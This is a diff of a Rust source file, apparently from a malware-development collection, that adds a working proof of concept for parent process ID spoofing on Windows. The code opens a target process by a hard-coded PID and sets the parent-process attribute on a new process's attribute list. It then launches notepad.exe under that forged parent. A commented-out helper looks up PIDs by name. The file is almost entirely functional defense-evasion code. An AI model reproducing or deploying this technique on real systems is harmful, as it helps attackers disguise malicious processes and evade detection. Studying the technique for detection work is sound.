1
+ /*
2
+ POC of PPID Spoofing.
3
+ Resource Used:
4
+ * https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing
5
+ * https://trustedsec.com/blog/ppid-spoofing-its-really-this-easy-to-fake-your-parent
6
+
7
+ By @5mukx
8
+ */
9
+
10
+ use std:: ptr:: null_mut;
11
+ use winapi:: ctypes:: c_void;
12
+ use winapi:: shared:: basetsd:: SIZE_T ;
13
+ use winapi:: um:: errhandlingapi:: GetLastError ;
14
+ use winapi:: um:: handleapi:: CloseHandle ;
15
+ use winapi:: um:: heapapi:: { GetProcessHeap , HeapAlloc , HeapFree } ;
16
+ use winapi:: um:: processthreadsapi:: { CreateProcessA , InitializeProcThreadAttributeList , OpenProcess , UpdateProcThreadAttribute , PROCESS_INFORMATION , PROC_THREAD_ATTRIBUTE_LIST , STARTUPINFOA } ;
17
+ use winapi:: um:: winbase:: STARTUPINFOEXA ;
18
+ use winapi:: um:: winnt:: PROCESS_ALL_ACCESS ;
19
+
20
+ fn main ( ) -> Result < ( ) , Box < dyn std:: error:: Error > > {
21
+
22
+ unsafe {
23
+ let mut attribute_size: SIZE_T = Default :: default ( ) ;
24
+ let mut pi: PROCESS_INFORMATION = std:: mem:: zeroed ( ) ;
25
+ let mut si: STARTUPINFOEXA = std:: mem:: zeroed ( ) ;
26
+
27
+ // let pid = get_pid();
28
+ let ppid_handle = OpenProcess (
29
+ PROCESS_ALL_ACCESS ,
30
+ 0 ,
31
+ // get_pid("calc.exe".as_str()) as u32,
32
+ 10140 , // pid
33
+ ) ;
34
+
35
+ if ppid_handle. is_null ( ) {
36
+ return Err ( format ! ( "Failed to open Process: {}" , GetLastError ( ) ) . into ( ) ) ;
37
+ }
38
+
39
+ InitializeProcThreadAttributeList ( null_mut ( ) , 1 , 0 , & mut attribute_size) ;
40
+
41
+
42
+ let attribute_list = HeapAlloc (
43
+ GetProcessHeap ( ) ,
44
+ 0 ,
45
+ attribute_size,
46
+ ) ;
47
+
48
+ if attribute_list. is_null ( ) {
49
+ CloseHandle ( ppid_handle) ;
50
+ return Err ( "Failed to allocate memory for attribute list" . into ( ) ) ;
51
+ }
52
+
53
+ if InitializeProcThreadAttributeList (
54
+ attribute_list as * mut PROC_THREAD_ATTRIBUTE_LIST ,
55
+ 1 ,
56
+ 0 ,
57
+ & mut attribute_size,
58
+ ) == 0 {
59
+ HeapFree ( GetProcessHeap ( ) , 0 , attribute_list) ;
60
+ CloseHandle ( ppid_handle) ;
61
+ return Err ( format ! ( "Failed to initialize attribute list: {}" , GetLastError ( ) ) . into ( ) ) ;
62
+ }
63
+
64
+ if UpdateProcThreadAttribute (
65
+ attribute_list as * mut PROC_THREAD_ATTRIBUTE_LIST ,
66
+ 0 ,
67
+ 0x00 |0x00020000 ,
68
+ & ppid_handle as * const * mut c_void as * mut c_void ,
69
+ std:: mem:: size_of :: < * mut c_void > ( ) as usize ,
70
+ null_mut ( ) ,
71
+ null_mut ( )
72
+ ) == 0 {
73
+ HeapFree ( GetProcessHeap ( ) , 0 , attribute_list) ;
74
+ CloseHandle ( ppid_handle) ;
75
+ return Err ( format ! ( "Failed to update process attribute: {}" , GetLastError ( ) ) . into ( ) ) ;
76
+ }
77
+
78
+ si. StartupInfo . cb = std:: mem:: size_of :: < STARTUPINFOA > ( ) as u32 ;
79
+ si. lpAttributeList = attribute_list as * mut PROC_THREAD_ATTRIBUTE_LIST ;
80
+
81
+ let create_process = CreateProcessA (
82
+ null_mut ( ) ,
83
+ "notepad.exe\0 " . as_ptr ( ) as * mut i8 ,
84
+ null_mut ( ) ,
85
+ null_mut ( ) ,
86
+ 0 ,
87
+ 0x00080000 ,
88
+ null_mut ( ) ,
89
+ null_mut ( ) ,
90
+ & mut si. StartupInfo ,
91
+ & mut pi,
92
+ ) ;
93
+
94
+ if create_process == 0 {
95
+ HeapFree ( GetProcessHeap ( ) , 0 , attribute_list) ;
96
+ CloseHandle ( ppid_handle) ;
97
+ return Err ( format ! ( "Failed to create process: {}" , GetLastError ( ) ) . into ( ) ) ;
98
+ }
99
+
100
+ CloseHandle ( pi. hProcess ) ;
101
+ CloseHandle ( pi. hThread ) ;
102
+ HeapFree ( GetProcessHeap ( ) , 0 , attribute_list) ;
103
+ CloseHandle ( ppid_handle) ;
104
+
105
+ }
106
+ Ok ( ( ) )
107
+ }
108
+
109
+
110
+
111
+ // USE get_pid function to get the pid by its name.
112
+ // Source : https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/Malware_Tips/find_pid_by_name.rs
113
+
114
+ /*
115
+ fn get_pid(process_name: &str) -> u32{
116
+ unsafe{
117
+ let mut pe: PROCESSENTRY32 = std::mem::zeroed();
118
+ pe.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
119
+
120
+ let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
121
+ if snap.is_null(){
122
+ error!("Error while snapshoting processes : Error : {}",GetLastError());
123
+ std::process::exit(0);
124
+ }
125
+
126
+ let mut pid = 0;
127
+
128
+ let mut result = Process32First(snap, &mut pe) != 0;
129
+
130
+ while result{
131
+
132
+ let exe_file = CString::from_vec_unchecked(pe.szExeFile
133
+ .iter()
134
+ .map(|&file| file as u8)
135
+ .take_while(|&c| c!=0)
136
+ .collect::<Vec<u8>>(),
137
+ );
138
+
139
+ if exe_file.to_str().unwrap() == process_name {
140
+ pid = pe.th32ProcessID;
141
+ break;
142
+ }
143
+ result = Process32Next(snap, &mut pe) !=0;
144
+ }
145
+
146
+ if pid == 0{
147
+ error!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");
148
+ std::process::exit(0);
149
+ }
150
+
151
+ CloseHandle(snap);
152
+ pid
153
+ }
154
+ }
155
+
156
+ */
0 commit comments